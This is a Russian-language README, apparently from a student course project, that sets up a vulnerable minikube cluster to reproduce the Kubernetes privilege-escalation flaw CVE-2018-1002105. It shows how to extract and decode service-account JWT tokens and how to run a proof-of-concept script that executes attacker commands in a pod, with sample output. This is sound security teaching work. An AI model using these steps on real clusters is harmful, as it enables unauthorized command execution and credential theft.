CMPT733-Group11(0x90)

CVE-2018-1002105

Участники: Abhishek Rungta, Shubham Saini, Siddhant Sood

Настройка окружения

• Linux ВМ (например, Ubuntu 20.04)
• Minikube для локального развертывания kubernetes
• Любая из этих старых версий (1.0.x— 1.9.x, 1.10.0—1.10.10,1.11.0—1.11.4,1.12.0—1.12.2)

Запуск эксплойта

Мы предоставили образ Virtual Box (.ova файл) Скачайте его и создайте из него ВМ. Предоставленный ova уже предварительно настроен с docker v18.09 и minikube v1.9.0

Ссылка на OVA

Соберите kubernetes кластер

Поскольку наш виртуальный образ уже содержит minikube и необходимые версии kubernetes, просто выполните следующую команду для запуска minikube

minikube start --kubernetes-version=v1.12.2

Создайте нового пользователя, namespace и назначьте роль

Создайте нового пользователя и namespace, а затем назначьте роль RBAC созданному пользователю с помощью следующей команды.

kubectl apply -f fixing_policy.yml

Удалите доступ к conntrack

kubectl edit configmaps kube-proxy --namespace=kube-system

Измените maxPerCore на 0

Получите JWT токен

Сначала выполните следующую команду, чтобы получить все JWT токены, хранящиеся в системе

kubectl get secrets -A

Чтобы получить секрет конкретного созданного пользователя, выполните следующую команду:

kubectl -n [namespace] get secrets [user-token] -o json

Затем декодируйте его из base64.

export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN

Получите IP-адрес и номер порта

kubectl cluster-info

Для развертывания пода

kubectl run --image=nginx:alpine securenginx -n poc

Запустите POC

Укажите все необходимые аргументы:
-t для цели> ip:port (обязательно)
-j для JWT токена пользователя (обязательно)
-p для пода (обязательно)
-n для namespace
-m для метода (обязательно)
-c для контейнера
-x для команды атакующего

Тестовый пример

Ввод

./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"

./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0" 

Вывод

eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:02  
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:217603 (212.5 KiB)  TX bytes:428778 (418.7 KiB)

{"metadata":{},"status":"Success"}

Видео-демонстрация

Видео ссылка